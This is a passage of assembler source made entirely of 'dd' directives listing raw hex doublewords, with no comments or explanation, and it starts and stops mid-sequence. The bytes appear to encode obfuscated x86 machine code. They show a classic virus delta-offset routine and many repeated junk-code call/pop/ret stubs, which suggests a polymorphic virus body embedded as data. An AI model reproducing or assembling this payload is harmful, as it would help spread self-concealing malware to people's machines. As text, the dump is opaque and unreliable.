33124EBFh, 0E4209985h, 8B519005h dd 8B505BF8h, 6A90D8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 9D8903C3h, 5E41991h, 6A006Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 1862C4C3h, 0DC0FB0BFh, 1F15BD29h, 9D6805E4h, 0BF11F2ADh dd 11E3D41Ch, 62243481h, 0E911EDAEh, 6, 1678B684h, 95FFA40Ah dd 5E40159h, 7E8h, 6B005F00h, 30EFDA33h, 5BFBB70Fh, 9F5F8589h dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 8589DAC3h, 5E41699h, 1C0E9h, 8B5F5100h, 0E79F5785h dd 58F0F05h, 66000000h, 88EFE781h, 1AA51BBBh, 1800C759h dd 0E8000000h, 8, 0E5A46A3Dh, 7B05F1C6h, 8B5BFE8Ah, 0E79F5BB5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0FC700F14h, 2A21858Bh, 0FE805E4h, 2C000000h dd 88E52EA7h, 0CF176445h, 776B3423h, 5FFCB679h, 1D15B589h dd 68905E4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 97C35242h, 0CDBD8B93h, 8B05E40Ch, 0E42C9D85h, 0BE805h dd 58020000h, 284B13F6h, 5F931CD4h, 816656FBh, 5F3C5BF7h dd 446895Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0B6C35040h, 324B2D08h, 65116F18h, 0FC96BB66h, 0DA8B6050h dd 896114B2h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 92B9B3C3h, 1D699589h, 9D8B05E4h dd 5E427B9h, 9F57B5FFh, 68FC05E7h, 29645BA3h, 8C0Fh, 34810000h dd 7B585C24h, 95B52929h, 8D05E42Ah, 0E79F5F85h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 90257C9h, 0E423E595h, 0BF669005h, 0B750F3B7h, 8960903Ch dd 0E4169D8Dh, 16800F05h, 0E8000000h, 10h, 7BFAAB2Ah, 0C10EDCE7h dd 24ABDCF2h, 12CFA0D5h, 0BD8B6158h, 5E43219h, 15995FFh dd 0E86005E4h, 0Dh, 9CD4A839h, 7DCA1BC2h, 4EB9F724h, 0A5950B13h dd 5805E426h, 68B0Fh, 0B58B0000h, 5E420E1h, 6A6161h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0E78125C3h, 7B738ADCh, 30FD85C7h, 305E4h, 9D8B0000h dd 5E41255h, 209D8589h, 0BD8305E4h, 5E79F5Fh, 44840F00h dd 0E9000000h, 0Dh, 6FF23215h, 847FBB2Bh, 233A2194h, 48E931h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0EF15CFC3h, 8181DA85h, 0CFDD72F7h, 0A19D8B18h dd 5005E42Bh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0A6BA44C3h, 95463E8Ch, 0BF66C871h dd 9D0BE93Dh, 5E4006Dh, 30FDBD83h, 0F0305E4h, 40485h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 5FBD83A4h, 5E79Fh, 3DB840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0F7DAABC3h dd 0D600149Fh, 6840Fh, 8D890000h, 5E404FDh, 9F5FB5FFh dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0A28EE1C3h, 0B2F8B072h, 1595FF85h, 6A05E41Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0A469C353h, 0E9E55712h, 0Bh, 6C73F678h, 0DE6625E6h dd 6695417Ah, 8B5E94BBh, 0E79F53B5h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 2E599ACAh dd 0CA7C70A7h, 32B8BB08h, 6C7728Eh, 10001h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 5BC35141h, 701BD0Bh dd 609605E4h, 10E8h, 9A46ED00h, 0E77D1FEDh, 63F8677Eh dd 1179A884h, 5040BB4Fh, 605B6C82h, 0B957BA66h, 66506161h dd 2396FA8Bh, 0E41CD59Dh, 0E1958905h, 0FF05E40Fh, 0E79F5FB5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 8553517Ah, 0FF6A05A6h, 0E4172D95h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 13CEB84Dh, 91E3A543h, 824BB23h, 0B58B639Eh, 5E79F53h dd 181DBD8Bh, 858B05E4h, 5E41D1Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0DC35343h, 0E60903FEh, 0B5896078h dd 5E42039h, 27BB61F8h, 89570E29h, 0C486h, 319D8900h, 8B05E414h dd 0E4109595h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 6FFEC162h, 8D31CA27h dd 5E41CB1h, 8904C283h, 0E427259Dh, 20508905h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 19C35343h, 93EF8166h dd 84858DB6h, 6A05E7B3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h dd 89ACC352h, 8B60910Bh, 0E42D7985h, 0D9D8B05h, 6105E428h dd 0B88689h, 6A0000h, 266D9D8Bh, 0CF8105E4h, 16F33F96h dd 9F5FB5FFh, 8D8905E7h, 5E423D5h, 104595FFh, 665605E4h dd 5BDA48BBh, 0D98B6650h, 0BF243489h, 15D2D264h, 9F5FB5FFh dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0E31FB3C3h, 0FFDFB70Fh, 0E4136595h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8189EDB4h, 0CF6936E3h, 0F9BD8318h, 5E408h, 12840Fh dd 0CB810000h, 0DDD5533h, 0BF96D88Bh, 6DBA10DCh, 0CB79650h dd 9F5FB5FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0C57325C3h, 0B880FEFh, 0E9000000h dd 6, 0F8E2A7C0h, 9589ECD4h, 5E40231h, 29C595FFh, 22BB05E4h dd 894B7A1Ch, 0E41BED95h, 5FB5FF05h, 5305E79Fh, 7195FF5Fh dd 6A05E419h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0B582C350h, 5E8h, 6D794C00h, 835BF24Bh dd 0E43125BDh, 840F0205h, 49h, 1819BD8Bh, 7E805E4h, 2C000000h dd 15E3498Fh, 85010DDBh, 5E42DB9h, 91858B5Fh, 6A05E411h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 4FABC353h, 0C05436B9h, 23D22A40h, 8B0000C6h dd 0E585C7DFh, 5E419h, 8B000000h, 0F47FE9DFh, 800FFFFFh dd 6, 0FF59D89h, 0C18B05E4h, 13B1B589h, 858D05E4h, 5E419D5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 29C35242h dd 8BD9BFB7h, 3DBD8B96h, 6005E402h, 11E9B58Bh, 10E905E4h dd 81000000h, 0BF3E174Dh, 0AE858BC6h, 3A5E444Ah, 61B42AEAh dd 3C92BF50h, 4890EBFh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 87B1535Dh, 8529EB49h dd 5E400FDh, 0DC59D31h, 6A05E4h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 70C35242h, 0B7B0775Ch, 8D0FF58Ch dd 12h, 9E8h, 0B7CBF00h, 0B82C153Ah, 8B661097h, 6A5FFAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 18C35040h dd 6800Fh, 0BD8B0000h, 5E431E9h, 2640C781h, 858D290Fh dd 5E90C71h, 5C083F8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 3DC35242h, 6D0AC9C5h, 2C5AB7DEh, 4C98D01h dd 669005E4h, 5042ACBFh, 530DB3BFh, 6A9034h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BE9DCC3h dd 0C6000000h, 5534F5ECh, 981BF2Fh, 6A32A4h, 6A006AF9h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 6CE1C357h, 68C0Fh, 9D8B0000h, 5E422A1h, 21A195FFh dd 8B6605E4h, 7F8D8DF9h, 6A05E79Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0D181C350h dd 0D3814A7Ah, 2F24A54Dh, 2A599D29h, 0D1FF05E4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 2DC35545h, 31E98589h dd 0BD8305E4h, 5E42995h, 5F850F01h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0D7FDC357h, 8D89B0A4h, 5E400F1h, 0C380026Ah, 48950DBh dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0CEE6B70Ah, 8FC64B31h, 95FF36C3h, 5E41045h dd 810Fh, 29E90000h, 0E800000Dh, 0 dd 7BED815Dh, 6A05E90Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 1096C353h, 816BFCDEh dd 1A3907C3h, 0A5BD0347h, 6A05E40Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0BE74C352h dd 0A272FCDh, 8168858Dh, 6A05E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 9D8B18C3h, 5E42779h dd 13E9h, 6718BA00h, 138C91A2h, 0B95CB2B9h, 99B80E75h dd 0BF31DA95h, 75BF6690h, 0E95150AFh, 0Bh, 4DE913FCh, 6DF03C6Fh dd 5B0D425Ch, 0F3816690h, 0FF648FFEh, 35h, 69852900h, 6405E42Bh dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 920399C3h, 5073BA1Bh, 85FFC33Ch dd 5E4142Dh, 1F2D9D89h, 0FF6A05E4h, 1A758D09h, 0B5FF05E4h dd 5E4240Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 3C35141h, 0F3816682h, 95FF030Bh, 5E42DADh, 139E9h dd 0EE95000h, 14000000h, 8543E2Ah, 0E7FE09EBh, 2C3A90A9h dd 0B05B57h, 21ED8589h, 70E605E4h, 8F0Fh, 71E40000h, 0BD958953h dd 5F05E40Fh, 830F613Ch, 102h, 223D9589h, 0B60F05E4h, 0D78166C8h dd 6BAFFBBh, 89000000h, 0E42C9985h, 7D9D8B05h, 8B05E431h dd 14E8C1h, 0E3670000h, 0D834125Bh, 2B7F681Bh, 4766FC6Bh dd 9DE1649Fh, 9D8B0A75h, 5E429C9h, 4E8C15Bh, 58B0Fh, 81660000h dd 66C59FE7h, 0BF0FE2F7h, 81C82BDEh, 0F7F16FF3h, 0BFD18B2Fh dd 1F47B64Ah, 16820Fh, 11E90000h, 0E000000h, 0D20C6C21h dd 0BF94AA25h, 9195E6DCh, 0D5A5E59Dh, 7DE9h, 0B1BD8900h dd 8905E410h, 0E4221DB5h, 4C858B05h, 89505F4Ch, 0E42D25B5h dd 7C08305h, 31C5BD8Bh, 0C08305E4h, 3BDF8B00h, 11830FD0h dd 89000000h, 0E430F18Dh, 44E905h, 85890000h, 5E41EE1h dd 0FFFF8D8Bh, 8F0FFFFFh, 3, 83DFB70Fh, 840F01E1h, 26h dd 203F8FBBh, 1D9D0920h, 8305E42Dh, 0FFFFFFA5h, 8B66FEFFh dd 4C9589D9h, 89505F4Ch, 0E4225985h, 0E905h, 0B58D0000h dd 5E886D7h, 68B0Fh, 0BD8B0000h, 5E41551h, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 6964A7C3h, 0BD2926AEh, 5E411CDh, 10C195FFh, 6A05E4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 226185C3h, 0F3BFD1ECh, 0F08B9h, 29950900h, 8305E401h dd 8D0FFCE1h, 8, 0E9BD8B53h, 5B05E419h, 55006AFCh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0E0B3C3BAh, 1F159D8Bh, 0BD0B05E4h, 5E41E15h, 0B8h, 89BD0B00h dd 0BA05E41Ah, 0 dd 87D38166h, 0C233AD57h, 0D003E8D1h, 7504E983h, 52006AF4h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 39DF43ADh, 0DF8B6675h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 5FC35646h, 0DCC8041h, 88h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 16C35646h, 8C77A802h dd 5D3EDEBFh, 95958B3Ah, 0F05E410h, 8D8BFBB7h, 5E42C65h dd 1D75BD33h, 8B5005E4h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 49F78166h, 6E928h, 6B260000h, 0F38255E9h dd 0BD831FB3h, 5E42135h, 6E840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 5C31C350h, 470B2766h, 8B536F2Ah, 0B8F9h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 493202C3h, 8166AD68h, 66EA73CFh, 0B8A0EF81h, 8DDE8B66h dd 0E44C308Dh, 0BD2B5105h, 5E42591h, 23E1FF5Bh, 0E401319Dh dd 0FDBD8305h, 5E430h, 4A7840Fh, 0BB660000h, 0BD83E353h dd 5E430FDh, 0B1840F01h, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8349C352h dd 0E430FDBDh, 860F0305h, 452h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 80C35040h, 3A3F2007h, 8A0FDDD1h dd 2, 8B60FA8Bh, 0E41A7D9Dh, 0D98C6605h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 19h, 3BC35646h, 2C28537Eh dd 0DB81665Dh, 0E1802A11h, 5F506004h, 61DE8B66h, 840FC90Ah dd 194h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 2EC35040h, 46D78166h, 9E8D3h, 0DF550000h, 3C0E311Bh dd 0F7C3B61h, 585h, 0E7816600h, 8B5B6B16h, 0E42C9D85h dd 5D858905h, 3305E410h, 0E4209985h, 0CE905h, 0DC320000h dd 25694DEBh, 76D8A93Fh, 9D03F7CDh, 5E41AADh, 0F88B5090h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 6A048FB1h, 0A3159B65h, 6A3768h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 5DC35242h, 0D1DBB90Ah dd 4C0E010Ch, 899D8BFCh, 0E805E42Bh, 4, 1F03FFh, 9E850h dd 6A60000h, 85A800A6h, 0B389C62Dh, 448B5BE3h, 8B660424h dd 0BB008BDFh, 43663B81h, 4244489h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8B6691EEh dd 5995FFFEh, 6605E401h, 0E93C22BFh, 6, 16AF1F4Fh, 8589E607h dd 5E79F5Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0FBC35242h, 6E458A38h, 1E5E973h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 92C12EC3h, 0EE8A1h, 0D61C0000h, 8D38449Ch, 8720FFE0h dd 83B6114Eh, 0BE8h, 1A782A00h, 0AD982E30h, 0DAD7838Dh dd 7358531h, 5B5F05E4h, 9F57858Bh, 958905E7h, 5E43225h dd 1800C7h, 810F0000h, 6, 3101B589h, 0B58B05E4h, 5E79F5Bh dd 1C758D09h, 858B05E4h, 5E42A21h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 9CC35343h, 66A9B11Dh, 0E5BEC781h dd 0BF660689h, 858BD468h, 5E42C9Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 80C35646h, 233C3078h, 9358CD3h dd 0E429C9BDh, 4468905h, 2D51B531h, 0F9605E4h, 1787h, 12E900h dd 0AA890000h, 7AF4CAA0h, 2A52719Fh, 33BADB4Ch, 0D4881E7Bh dd 0B886BB50h, 6A96291Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0A630C352h, 0E0224D9Ah dd 0F185897Ah, 0FF05E428h, 0E79F57B5h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 65BD2B91h, 6805E416h, 0D91EE208h, 13E8h, 0A3B0E300h dd 8E6655D5h, 0AAB074D9h, 0B4ED21F1h, 0EB92731Ch, 9E9h dd 6EA6BC00h, 1A42630Eh, 815B7FB2h, 21F72404h, 81662700h dd 8DB6B0CFh, 0E79F5F85h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 500FBD5Ch dd 66240489h, 0FFDD3DBFh, 0E4015995h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 10C7D3ECh, 0D2A96979h, 599D2BE0h, 6105E415h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 67C35040h, 51B19506h dd 0C88B6056h, 256DBD8Bh, 5B6105E4h, 153D9D2Bh, 85C705E4h dd 5E430FDh, 3, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 5FC35747h, 0BF268E3Dh, 1045A4E2h, 9F5FBD83h, 0F0005E7h dd 4984h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 9589C6EDh, 5E41ACDh, 7899589h, 36E905E4h dd 0F000000h, 1583h, 10E900h, 0D5DE0000h, 2432FF62h, 3AFF272h dd 0DE2BAC8h, 305064E1h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 8323ECD4h, 0C86A898Dh dd 68F0F9Bh, 8B000000h, 0E414E9BDh, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 82CE791Fh dd 8AF9AAFEh, 0FDBD83D9h, 305E430h, 35B850Fh, 81660000h dd 83C2CEEBh, 0E79F5FBDh, 840F0005h, 349h, 9F5FB5FFh, 890F05E7h dd 4, 0D0F8BF66h, 1C69B529h, 95FF05E4h, 5E41C15h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0EC35545h, 0D65C8128h dd 89A2EFDCh, 8BDD8A51h, 0E4155DBDh, 53B58B05h, 2905E79Fh dd 0E422DDB5h, 106C705h, 6A000100h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 34DCC355h dd 4F709B2h, 8FB0B960h, 66502DE4h, 0A8F1F181h, 8950615Fh dd 0FFF82434h, 0E79F5FB5h, 0FE905h, 59C20000h, 8A624E46h dd 0A174D887h, 0CC28F364h, 2D95FFE3h, 6605E417h, 8B4F6DBBh dd 0E79F53B5h, 1D858B05h, 0F05E41Dh, 8689DFB7h, 0C4h, 958BA5B7h dd 5E41095h, 219D8B52h, 5B05E415h, 0D6AF5BBBh, 4C2832Fh dd 22A19D89h, 508905E4h, 29F96020h, 0E414919Dh, 858D6105h dd 5E7B384h, 0EAF38166h, 0D2BF66C9h, 0B88689E6h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 60AEC352h, 5E8h, 8392BB00h, 8509AEB2h, 5E43219h dd 8B61F95Bh, 66006ADAh, 0B5FFFA8Bh, 5E79F5Fh, 4AACEEBFh dd 4595FF4Dh, 6A05E410h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 9A79C352h, 0CB3606B6h dd 0B45C3F72h, 83D9D8Bh, 509605E4h, 810Fh, 6A960000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 9972C350h, 9459A0AFh, 840F8464h, 5, 0B9F78166h, 5FB5FFE7h dd 6A05E79Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 8122C356h, 0A54F4796h, 0DF8B66F7h dd 136595FFh, 0BD8B05E4h, 5E427C9h, 8F9BD83h, 0F0005E4h dd 7184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 9634EF1Eh, 0E850D98Bh, 0Dh, 0BFC940B5h dd 87E4D3BBh, 3AB33D82h, 6A965F6Dh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 2725C350h dd 2EFDB280h, 820F5643h, 6, 0C19D8Bh, 820F05E4h, 6, 0A38CEF81h dd 0B5FF6C05h, 5E79F5Fh, 6E8h, 8D769800h, 89BA815Eh, 0E402A195h dd 95FF5F05h, 5E429C5h, 254DBD29h, 0BD2905E4h, 5E414E9h dd 9F5FB5FFh, 958905E7h, 5E4170Dh, 1849BD8Bh, 95FF05E4h dd 5E41971h, 7DD8D31h, 0BD8305E4h, 5E43125h, 62840F02h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0D7A0C356h, 0D629C4F1h, 858B0F47h dd 5E41191h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0D8C35141h, 0CE8E7F1h, 1E000000h, 41A4968Ch, 0B59DA11Fh dd 5FA5D573h, 810000C6h, 70AF3DFh, 0E585C771h, 5E419h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0F8E9C357h, 0E6BB6685h, 0F3F4E968h dd 0B70FFFFFh, 6AC18BFEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 3FCBC352h, 19D5858Dh dd 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 96E06EC3h, 0BF48190h, 6E91AD2h, 0E3000000h dd 0C50EB80Dh, 6050909Ch, 56B86660h, 0CF8B665Fh, 10E861h dd 1C170000h, 0C31FD384h, 500F906h, 8F4E7DC4h, 8B0F83BBh dd 0 dd 60906158h, 10C5B589h, 13E905E4h, 0BE000000h, 0F6AEB917h dd 0F85A6B99h, 0AC72869Ch, 2320BB1Eh, 6A618417h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 920A2C9Fh, 2BF8DFFCh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 1B5E87C3h, 0DC7FC3A6h dd 858D8EA6h, 5E91C0Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0D5C35343h, 60F73ADDh, 11E9h, 977FB00h dd 2CC99F82h, 38EF120Ch, 0CBB0BB8Eh, 81667524h, 61F7F8EEh dd 5BFB8B52h, 6A05C083h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 3D15C350h, 0D88BBE3Ch dd 0A8D0F50h, 0F000000h, 481h, 9ABB6600h, 240489FAh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 88C35343h, 127CD8FFh dd 0F203C3Fh, 1A8Ch, 14860F00h, 0E8000000h, 0Eh, 0A59FE23h dd 3AA6509Dh, 35928DE2h, 6A5B4940h, 0FE8B6600h, 0E950006Ah dd 11h, 6096B030h, 22FCC79Fh, 77203B9h, 0A0FDA4C2h, 0C7815B27h dd 773DD451h, 21A195FFh, 0BF6605E4h, 8D8D8581h, 5E79E7Fh dd 6AD1FFF8h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0A4AFC353h, 0B589F248h, 5E4075Dh dd 6820Fh, 0BD8B0000h, 5E40709h, 2995BD83h, 0F0105E4h dd 6E85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 36F01F0Ah, 9529ED0Dh, 5E41661h, 0B529026Ah dd 5E41851h, 8937BF50h, 4897A28h, 6E924h, 0B2B80000h, 0FC9B0645h dd 104595FFh, 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 873553C3h, 0F655E58Dh, 0E9ACC6D6h dd 0D79h, 0E8h, 0ED815D00h, 5E91C18h, 0EE960h, 1A3C0000h dd 0A221F6Ch, 17B7F108h, 41C16F48h, 51006A61h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 10E811h, 71B50000h dd 0B31E34E8h, 48A8ED6Dh, 0E22E1A16h, 880F64F9h, 5, 0EAC38166h dd 858D5B14h, 5E78168h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 25C35040h, 8166EECCh, 815054F7h, 0D5D018E3h dd 90F98B28h, 0FE850h, 843E0000h, 3F282C25h, 0E4163AF2h dd 97D0ABD8h, 199BBBF8h, 905F050Ch, 0B3F0C781h, 0FF6448E1h dd 35h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 49B76399h, 89DBC43Bh, 0E40259B5h dd 21BD8B05h, 6405E414h, 2589h, 8C0F0000h, 5, 3DAF0BBFh dd 2D85FF6Eh, 6A05E414h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0E203C353h, 5C8DDC7Ch dd 344EC062h, 1B119D09h, 0FF6A05E4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 55C35646h, 0D4F0EDE5h, 8D9D8BF9h dd 0FF05E40Dh, 0E42031B5h, 119D8B05h, 8B05E432h, 0E430F9BDh dd 0AD95FF05h, 0E905E42Dh, 103h, 26A5BD89h, 0DB305E4h dd 0B70F00B0h, 6850FFAh, 1000000h, 0E4221185h, 0E970E605h dd 9, 0DF86F39Ah, 47155702h, 8B71E444h, 0F613CDEh, 0CE83h dd 0FF98B00h, 9D8BC8B6h, 5E41C85h, 6BAh, 8BC18B00h, 0E42425BDh dd 4E8C105h, 6653C780h, 8166E2F7h, 2BD94DF3h, 25BD03C8h dd 8905E429h, 0E42369B5h, 81D18B05h, 4EEF39D3h, 8DE96Fh dd 0E9600000h, 10h, 1876FDCAh, 0E8E54E73h, 6AA14268h, 0E3B94210h dd 61CA8B66h, 554C858Bh, 9D8B4947h, 5E41CDDh, 8907C083h dd 0E42B799Dh, 0C08305h, 830FD03Bh, 26h, 30C38166h, 49E958h dd 10E80000h, 0F3000000h, 0E89AD391h, 0D95B4097h, 0E56423FFh dd 81E86986h, 801F0D3h, 8D8B5B37h, 0FFFFFFFFh, 16158589h dd 0E18305E4h, 18840F01h, 83000000h, 0FFFFFFA5h, 9589FEFFh dd 4947554Ch, 2855BD89h, 0E905E4h, 8D000000h, 0E895DFB5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 1C94F107h, 895BF557h, 0E4096D8Dh, 0FF006A05h dd 0E410C195h, 14E905h, 0DA310000h, 6B301D95h, 86D2403h dd 25FAB58Ah, 6D3ED502h, 8F0F788Ah, 6, 2D15BD89h, 9CB905E4h dd 56000010h, 0F57B69BBh, 0E1835F05h, 56006AFCh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0C8575F5Fh, 0C2B5C27Eh, 0BFC5D7Ah, 0E4141DBDh, 0E9C02B05h dd 0Ch, 0B259D633h, 9BD4253Ch, 518347DAh, 0BAh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 3D48550Fh, 20241831h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 10E9h, 63D26A00h, 305C9BA6h, 76CD8F70h, 0E6B22BA8h dd 51006A93h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0DCBF94AAh, 9D9195E6h, 0C2A268BBh, 880D20h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 